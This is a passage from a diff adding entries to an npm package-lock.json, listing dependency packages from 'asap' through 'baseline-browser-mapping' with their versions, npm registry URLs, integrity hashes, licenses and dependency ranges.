8671+ "call-bind": "^1.0.8",
8672+ "define-properties": "^1.2.1",
8673+ "es-abstract": "^1.23.5",
8674+ "es-errors": "^1.3.0",
8675+ "get-intrinsic": "^1.2.6",
8676+ "is-array-buffer": "^3.0.4"
8677+ },
8678+ "engines": {
8679+ "node": ">= 0.4"
8680+ },
8681+ "funding": {
8682+ "url": "https://github.com/sponsors/ljharb"
8683+ }
8684+ },
8685+ "node_modules/asap": {
8686+ "version": "2.0.6",
8687+ "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
8688+ "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==",
8689+ "license": "MIT"
8690+ },
8691+ "node_modules/asn1": {
8692+ "version": "0.2.6",
8693+ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
8694+ "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
8695+ "license": "MIT",
8696+ "dependencies": {
8697+ "safer-buffer": "~2.1.0"
8698+ }
8699+ },
8700+ "node_modules/asn1.js": {
8701+ "version": "4.10.1",
8702+ "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz",
8703+ "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==",
8704+ "license": "MIT",
8705+ "dependencies": {
8706+ "bn.js": "^4.0.0",
8707+ "inherits": "^2.0.1",
8708+ "minimalistic-assert": "^1.0.0"
8709+ }
8710+ },
8711+ "node_modules/assert": {
8712+ "version": "2.1.0",
8713+ "resolved": "https://registry.npmjs.org/assert/-/assert-2.1.0.tgz",
8714+ "integrity": "sha512-eLHpSK/Y4nhMJ07gDaAzoX/XAKS8PSaojml3M0DM4JpV1LAi5JOJ/p6H/XWrl8L+DzVEvVCW1z3vWAaB9oTsQw==",
8715+ "license": "MIT",
8716+ "dependencies": {
8717+ "call-bind": "^1.0.2",
8718+ "is-nan": "^1.3.2",
8719+ "object-is": "^1.1.5",
8720+ "object.assign": "^4.1.4",
8721+ "util": "^0.12.5"
8722+ }
8723+ },
8724+ "node_modules/assert-plus": {
8725+ "version": "1.0.0",
8726+ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
8727+ "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==",
8728+ "license": "MIT",
8729+ "engines": {
8730+ "node": ">=0.8"
8731+ }
8732+ },
8733+ "node_modules/assign-symbols": {
8734+ "version": "1.0.0",
8735+ "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
8736+ "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==",
8737+ "license": "MIT",
8738+ "engines": {
8739+ "node": ">=0.10.0"
8740+ }
8741+ },
8742+ "node_modules/ast-types-flow": {
8743+ "version": "0.0.8",
8744+ "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz",
8745+ "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==",
8746+ "license": "MIT"
8747+ },
8748+ "node_modules/async": {
8749+ "version": "2.6.4",
8750+ "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz",
8751+ "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==",
8752+ "license": "MIT",
8753+ "dependencies": {
8754+ "lodash": "^4.17.14"
8755+ }
8756+ },
8757+ "node_modules/async-eventemitter": {
8758+ "version": "0.2.4",
8759+ "resolved": "https://registry.npmjs.org/async-eventemitter/-/async-eventemitter-0.2.4.tgz",
8760+ "integrity": "sha512-pd20BwL7Yt1zwDFy+8MX8F1+WCT8aQeKj0kQnTrH9WaeRETlRamVhD0JtRPmrV4GfOJ2F9CvdQkZeZhnh2TuHw==",
8761+ "license": "MIT",
8762+ "dependencies": {
8763+ "async": "^2.4.0"
8764+ }
8765+ },
8766+ "node_modules/async-function": {
8767+ "version": "1.0.0",
8768+ "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz",
8769+ "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==",
8770+ "license": "MIT",
8771+ "engines": {
8772+ "node": ">= 0.4"
8773+ }
8774+ },
8775+ "node_modules/async-limiter": {
8776+ "version": "1.0.1",
8777+ "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
8778+ "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==",
8779+ "license": "MIT"
8780+ },
8781+ "node_modules/async-mutex": {
8782+ "version": "0.2.6",
8783+ "resolved": "https://registry.npmjs.org/async-mutex/-/async-mutex-0.2.6.tgz",
8784+ "integrity": "sha512-Hs4R+4SPgamu6rSGW8C7cV9gaWUKEHykfzCCvIRuaVv636Ju10ZdeUbvb4TBEW0INuq2DHZqXbK4Nd3yG4RaRw==",
8785+ "license": "MIT",
8786+ "dependencies": {
8787+ "tslib": "^2.0.0"
8788+ }
8789+ },
8790+ "node_modules/async-mutex/node_modules/tslib": {
8791+ "version": "2.8.1",
8792+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
8793+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
8794+ "license": "0BSD"
8795+ },
8796+ "node_modules/asynckit": {
8797+ "version": "0.4.0",
8798+ "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
8799+ "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
8800+ "license": "MIT"
8801+ },
8802+ "node_modules/at-least-node": {
8803+ "version": "1.0.0",
8804+ "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz",
8805+ "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==",
8806+ "license": "ISC",
8807+ "engines": {
8808+ "node": ">= 4.0.0"
8809+ }
8810+ },
8811+ "node_modules/attr-accept": {
8812+ "version": "2.2.5",
8813+ "resolved": "https://registry.npmjs.org/attr-accept/-/attr-accept-2.2.5.tgz",
8814+ "integrity": "sha512-0bDNnY/u6pPwHDMoF0FieU354oBi0a8rD9FcsLwzcGWbc8KS8KPIi7y+s13OlVY+gMWc/9xEMUgNE6Qm8ZllYQ==",
8815+ "license": "MIT",
8816+ "engines": {
8817+ "node": ">=4"
8818+ }
8819+ },
8820+ "node_modules/autoprefixer": {
8821+ "version": "10.4.23",
8822+ "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.23.tgz",
8823+ "integrity": "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA==",
8824+ "funding": [
8825+ {
8826+ "type": "opencollective",
8827+ "url": "https://opencollective.com/postcss/"
8828+ },
8829+ {
8830+ "type": "tidelift",
8831+ "url": "https://tidelift.com/funding/github/npm/autoprefixer"
8832+ },
8833+ {
8834+ "type": "github",
8835+ "url": "https://github.com/sponsors/ai"
8836+ }
8837+ ],
8838+ "license": "MIT",
8839+ "dependencies": {
8840+ "browserslist": "^4.28.1",
8841+ "caniuse-lite": "^1.0.30001760",
8842+ "fraction.js": "^5.3.4",
8843+ "picocolors": "^1.1.1",
8844+ "postcss-value-parser": "^4.2.0"
8845+ },
8846+ "bin": {
8847+ "autoprefixer": "bin/autoprefixer"
8848+ },
8849+ "engines": {
8850+ "node": "^10 || ^12 || >=14"
8851+ },
8852+ "peerDependencies": {
8853+ "postcss": "^8.1.0"
8854+ }
8855+ },
8856+ "node_modules/available-typed-arrays": {
8857+ "version": "1.0.7",
8858+ "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
8859+ "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
8860+ "license": "MIT",
8861+ "dependencies": {
8862+ "possible-typed-array-names": "^1.0.0"
8863+ },
8864+ "engines": {
8865+ "node": ">= 0.4"
8866+ },
8867+ "funding": {
8868+ "url": "https://github.com/sponsors/ljharb"
8869+ }
8870+ },
8871+ "node_modules/aws-sign2": {
8872+ "version": "0.7.0",
8873+ "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
8874+ "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==",
8875+ "license": "Apache-2.0",
8876+ "engines": {
8877+ "node": "*"
8878+ }
8879+ },
8880+ "node_modules/aws4": {
8881+ "version": "1.13.2",
8882+ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.13.2.tgz",
8883+ "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==",
8884+ "license": "MIT"
8885+ },
8886+ "node_modules/axe-core": {
8887+ "version": "4.11.0",
8888+ "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.11.0.tgz",
8889+ "integrity": "sha512-ilYanEU8vxxBexpJd8cWM4ElSQq4QctCLKih0TSfjIfCQTeyH/6zVrmIJfLPrKTKJRbiG+cfnZbQIjAlJmF1jQ==",
8890+ "license": "MPL-2.0",
8891+ "engines": {
8892+ "node": ">=4"
8893+ }
8894+ },
8895+ "node_modules/axios": {
8896+ "version": "1.13.2",
8897+ "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.2.tgz",
8898+ "integrity": "sha512-VPk9ebNqPcy5lRGuSlKx752IlDatOjT9paPlm8A7yOuW2Fbvp4X3JznJtT4f0GzGLLiWE9W8onz51SqLYwzGaA==",
8899+ "license": "MIT",
8900+ "dependencies": {
8901+ "follow-redirects": "^1.15.6",
8902+ "form-data": "^4.0.4",
8903+ "proxy-from-env": "^1.1.0"
8904+ }
8905+ },
8906+ "node_modules/axobject-query": {
8907+ "version": "4.1.0",
8908+ "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",
8909+ "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==",
8910+ "license": "Apache-2.0",
8911+ "engines": {
8912+ "node": ">= 0.4"
8913+ }
8914+ },
8915+ "node_modules/babel-jest": {
8916+ "version": "27.5.1",
8917+ "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-27.5.1.tgz",
8918+ "integrity": "sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==",
8919+ "license": "MIT",
8920+ "dependencies": {
8921+ "@jest/transform": "^27.5.1",
8922+ "@jest/types": "^27.5.1",
8923+ "@types/babel__core": "^7.1.14",
8924+ "babel-plugin-istanbul": "^6.1.1",
8925+ "babel-preset-jest": "^27.5.1",
8926+ "chalk": "^4.0.0",
8927+ "graceful-fs": "^4.2.9",
8928+ "slash": "^3.0.0"
8929+ },
8930+ "engines": {
8931+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
8932+ },
8933+ "peerDependencies": {
8934+ "@babel/core": "^7.8.0"
8935+ }
8936+ },
8937+ "node_modules/babel-jest/node_modules/@jest/types": {
8938+ "version": "27.5.1",
8939+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
8940+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
8941+ "license": "MIT",
8942+ "dependencies": {
8943+ "@types/istanbul-lib-coverage": "^2.0.0",
8944+ "@types/istanbul-reports": "^3.0.0",
8945+ "@types/node": "*",
8946+ "@types/yargs": "^16.0.0",
8947+ "chalk": "^4.0.0"
8948+ },
8949+ "engines": {
8950+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
8951+ }
8952+ },
8953+ "node_modules/babel-jest/node_modules/@types/yargs": {
8954+ "version": "16.0.11",
8955+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
8956+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
8957+ "license": "MIT",
8958+ "dependencies": {
8959+ "@types/yargs-parser": "*"
8960+ }
8961+ },
8962+ "node_modules/babel-jest/node_modules/chalk": {
8963+ "version": "4.1.2",
8964+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
8965+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
8966+ "license": "MIT",
8967+ "dependencies": {
8968+ "ansi-styles": "^4.1.0",
8969+ "supports-color": "^7.1.0"
8970+ },
8971+ "engines": {
8972+ "node": ">=10"
8973+ },
8974+ "funding": {
8975+ "url": "https://github.com/chalk/chalk?sponsor=1"
8976+ }
8977+ },
8978+ "node_modules/babel-loader": {
8979+ "version": "8.4.1",
8980+ "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.4.1.tgz",
8981+ "integrity": "sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==",
8982+ "license": "MIT",
8983+ "dependencies": {
8984+ "find-cache-dir": "^3.3.1",
8985+ "loader-utils": "^2.0.4",
8986+ "make-dir": "^3.1.0",
8987+ "schema-utils": "^2.6.5"
8988+ },
8989+ "engines": {
8990+ "node": ">= 8.9"
8991+ },
8992+ "peerDependencies": {
8993+ "@babel/core": "^7.0.0",
8994+ "webpack": ">=2"
8995+ }
8996+ },
8997+ "node_modules/babel-loader/node_modules/schema-utils": {
8998+ "version": "2.7.1",
8999+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.1.tgz",
9000+ "integrity": "sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==",
9001+ "license": "MIT",
9002+ "dependencies": {
9003+ "@types/json-schema": "^7.0.5",
9004+ "ajv": "^6.12.4",
9005+ "ajv-keywords": "^3.5.2"
9006+ },
9007+ "engines": {
9008+ "node": ">= 8.9.0"
9009+ },
9010+ "funding": {
9011+ "type": "opencollective",
9012+ "url": "https://opencollective.com/webpack"
9013+ }
9014+ },
9015+ "node_modules/babel-plugin-istanbul": {
9016+ "version": "6.1.1",
9017+ "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz",
9018+ "integrity": "sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==",
9019+ "license": "BSD-3-Clause",
9020+ "dependencies": {
9021+ "@babel/helper-plugin-utils": "^7.0.0",
9022+ "@istanbuljs/load-nyc-config": "^1.0.0",
9023+ "@istanbuljs/schema": "^0.1.2",
9024+ "istanbul-lib-instrument": "^5.0.4",
9025+ "test-exclude": "^6.0.0"
9026+ },
9027+ "engines": {
9028+ "node": ">=8"
9029+ }
9030+ },
9031+ "node_modules/babel-plugin-jest-hoist": {
9032+ "version": "27.5.1",
9033+ "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz",
9034+ "integrity": "sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==",
9035+ "license": "MIT",
9036+ "dependencies": {
9037+ "@babel/template": "^7.3.3",
9038+ "@babel/types": "^7.3.3",
9039+ "@types/babel__core": "^7.0.0",
9040+ "@types/babel__traverse": "^7.0.6"
9041+ },
9042+ "engines": {
9043+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
9044+ }
9045+ },
9046+ "node_modules/babel-plugin-macros": {
9047+ "version": "3.1.0",
9048+ "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz",
9049+ "integrity": "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==",
9050+ "license": "MIT",
9051+ "dependencies": {
9052+ "@babel/runtime": "^7.12.5",
9053+ "cosmiconfig": "^7.0.0",
9054+ "resolve": "^1.19.0"
9055+ },
9056+ "engines": {
9057+ "node": ">=10",
9058+ "npm": ">=6"
9059+ }
9060+ },
9061+ "node_modules/babel-plugin-named-asset-import": {
9062+ "version": "0.3.8",
9063+ "resolved": "https://registry.npmjs.org/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz",
9064+ "integrity": "sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==",
9065+ "license": "MIT",
9066+ "peerDependencies": {
9067+ "@babel/core": "^7.1.0"
9068+ }
9069+ },
9070+ "node_modules/babel-plugin-polyfill-corejs2": {
9071+ "version": "0.4.14",
9072+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.14.tgz",
9073+ "integrity": "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg==",
9074+ "license": "MIT",
9075+ "dependencies": {
9076+ "@babel/compat-data": "^7.27.7",
9077+ "@babel/helper-define-polyfill-provider": "^0.6.5",
9078+ "semver": "^6.3.1"
9079+ },
9080+ "peerDependencies": {
9081+ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
9082+ }
9083+ },
9084+ "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": {
9085+ "version": "6.3.1",
9086+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
9087+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
9088+ "license": "ISC",
9089+ "bin": {
9090+ "semver": "bin/semver.js"
9091+ }
9092+ },
9093+ "node_modules/babel-plugin-polyfill-corejs3": {
9094+ "version": "0.13.0",
9095+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.13.0.tgz",
9096+ "integrity": "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A==",
9097+ "license": "MIT",
9098+ "dependencies": {
9099+ "@babel/helper-define-polyfill-provider": "^0.6.5",
9100+ "core-js-compat": "^3.43.0"
9101+ },
9102+ "peerDependencies": {
9103+ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
9104+ }
9105+ },
9106+ "node_modules/babel-plugin-polyfill-regenerator": {
9107+ "version": "0.6.5",
9108+ "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.5.tgz",
9109+ "integrity": "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg==",
9110+ "license": "MIT",
9111+ "dependencies": {
9112+ "@babel/helper-define-polyfill-provider": "^0.6.5"
9113+ },
9114+ "peerDependencies": {
9115+ "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0"
9116+ }
9117+ },
9118+ "node_modules/babel-plugin-transform-react-remove-prop-types": {
9119+ "version": "0.4.24",
9120+ "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
9121+ "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==",
9122+ "license": "MIT"
9123+ },
9124+ "node_modules/babel-preset-current-node-syntax": {
9125+ "version": "1.2.0",
9126+ "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.2.0.tgz",
9127+ "integrity": "sha512-E/VlAEzRrsLEb2+dv8yp3bo4scof3l9nR4lrld+Iy5NyVqgVYUJnDAmunkhPMisRI32Qc4iRiz425d8vM++2fg==",
9128+ "license": "MIT",
9129+ "dependencies": {
9130+ "@babel/plugin-syntax-async-generators": "^7.8.4",
9131+ "@babel/plugin-syntax-bigint": "^7.8.3",
9132+ "@babel/plugin-syntax-class-properties": "^7.12.13",
9133+ "@babel/plugin-syntax-class-static-block": "^7.14.5",
9134+ "@babel/plugin-syntax-import-attributes": "^7.24.7",
9135+ "@babel/plugin-syntax-import-meta": "^7.10.4",
9136+ "@babel/plugin-syntax-json-strings": "^7.8.3",
9137+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4",
9138+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3",
9139+ "@babel/plugin-syntax-numeric-separator": "^7.10.4",
9140+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
9141+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3",
9142+ "@babel/plugin-syntax-optional-chaining": "^7.8.3",
9143+ "@babel/plugin-syntax-private-property-in-object": "^7.14.5",
9144+ "@babel/plugin-syntax-top-level-await": "^7.14.5"
9145+ },
9146+ "peerDependencies": {
9147+ "@babel/core": "^7.0.0 || ^8.0.0-0"
9148+ }
9149+ },
9150+ "node_modules/babel-preset-jest": {
9151+ "version": "27.5.1",
9152+ "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz",
9153+ "integrity": "sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==",
9154+ "license": "MIT",
9155+ "dependencies": {
9156+ "babel-plugin-jest-hoist": "^27.5.1",
9157+ "babel-preset-current-node-syntax": "^1.0.0"
9158+ },
9159+ "engines": {
9160+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
9161+ },
9162+ "peerDependencies": {
9163+ "@babel/core": "^7.0.0"
9164+ }
9165+ },
9166+ "node_modules/babel-preset-react-app": {
9167+ "version": "10.1.0",
9168+ "resolved": "https://registry.npmjs.org/babel-preset-react-app/-/babel-preset-react-app-10.1.0.tgz",
9169+ "integrity": "sha512-f9B1xMdnkCIqe+2dHrJsoQFRz7reChaAHE/65SdaykPklQqhme2WaC08oD3is77x9ff98/9EazAKFDZv5rFEQg==",
9170+ "license": "MIT",
9171+ "dependencies": {
9172+ "@babel/core": "^7.16.0",
9173+ "@babel/plugin-proposal-class-properties": "^7.16.0",
9174+ "@babel/plugin-proposal-decorators": "^7.16.4",
9175+ "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.0",
9176+ "@babel/plugin-proposal-numeric-separator": "^7.16.0",
9177+ "@babel/plugin-proposal-optional-chaining": "^7.16.0",
9178+ "@babel/plugin-proposal-private-methods": "^7.16.0",
9179+ "@babel/plugin-proposal-private-property-in-object": "^7.16.7",
9180+ "@babel/plugin-transform-flow-strip-types": "^7.16.0",
9181+ "@babel/plugin-transform-react-display-name": "^7.16.0",
9182+ "@babel/plugin-transform-runtime": "^7.16.4",
9183+ "@babel/preset-env": "^7.16.4",
9184+ "@babel/preset-react": "^7.16.0",
9185+ "@babel/preset-typescript": "^7.16.0",
9186+ "@babel/runtime": "^7.16.3",
9187+ "babel-plugin-macros": "^3.1.0",
9188+ "babel-plugin-transform-react-remove-prop-types": "^0.4.24"
9189+ }
9190+ },
9191+ "node_modules/babel-preset-react-app/node_modules/@babel/plugin-proposal-private-property-in-object": {
9192+ "version": "7.21.11",
9193+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz",
9194+ "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==",
9195+ "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-private-property-in-object instead.",
9196+ "license": "MIT",
9197+ "dependencies": {
9198+ "@babel/helper-annotate-as-pure": "^7.18.6",
9199+ "@babel/helper-create-class-features-plugin": "^7.21.0",
9200+ "@babel/helper-plugin-utils": "^7.20.2",
9201+ "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
9202+ },
9203+ "engines": {
9204+ "node": ">=6.9.0"
9205+ },
9206+ "peerDependencies": {
9207+ "@babel/core": "^7.0.0-0"
9208+ }
9209+ },
9210+ "node_modules/backoff": {
9211+ "version": "2.5.0",
9212+ "resolved": "https://registry.npmjs.org/backoff/-/backoff-2.5.0.tgz",
9213+ "integrity": "sha512-wC5ihrnUXmR2douXmXLCe5O3zg3GKIyvRi/hi58a/XyRxVI+3/yM0PYueQOZXPXQ9pxBislYkw+sF9b7C/RuMA==",
9214+ "license": "MIT",
9215+ "dependencies": {
9216+ "precond": "0.2"
9217+ },
9218+ "engines": {
9219+ "node": ">= 0.6"
9220+ }
9221+ },
9222+ "node_modules/balanced-match": {
9223+ "version": "1.0.2",
9224+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
9225+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
9226+ "license": "MIT"
9227+ },
9228+ "node_modules/base-x": {
9229+ "version": "3.0.11",
9230+ "resolved": "https://registry.npmjs.org/base-x/-/base-x-3.0.11.tgz",
9231+ "integrity": "sha512-xz7wQ8xDhdyP7tQxwdteLYeFfS68tSMNCZ/Y37WJ4bhGfKPpqEIlmIyueQHqOyoPhE6xNUqjzRr8ra0eF9VRvA==",
9232+ "license": "MIT",
9233+ "dependencies": {
9234+ "safe-buffer": "^5.0.1"
9235+ }
9236+ },
9237+ "node_modules/base64-js": {
9238+ "version": "1.5.1",
9239+ "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
9240+ "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
9241+ "funding": [
9242+ {
9243+ "type": "github",
9244+ "url": "https://github.com/sponsors/feross"
9245+ },
9246+ {
9247+ "type": "patreon",
9248+ "url": "https://www.patreon.com/feross"
9249+ },
9250+ {
9251+ "type": "consulting",
9252+ "url": "https://feross.org/support"
9253+ }
9254+ ],
9255+ "license": "MIT"
9256+ },
9257+ "node_modules/base64id": {
9258+ "version": "2.0.0",
9259+ "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz",
9260+ "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==",
9261+ "license": "MIT",
9262+ "engines": {
9263+ "node": "^4.5.0 || >= 5.9"
9264+ }
9265+ },
9266+ "node_modules/baseline-browser-mapping": {
9267+ "version": "2.9.7",
9268+ "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.7.tgz",
9269+ "integrity": "sha512-k9xFKplee6KIio3IDbwj+uaCLpqzOwakOgmqzPezM0sFJlFKcg30vk2wOiAJtkTSfx0SSQDSe8q+mWA/fSH5Zg==",
9270+ "license": "Apache-2.0",
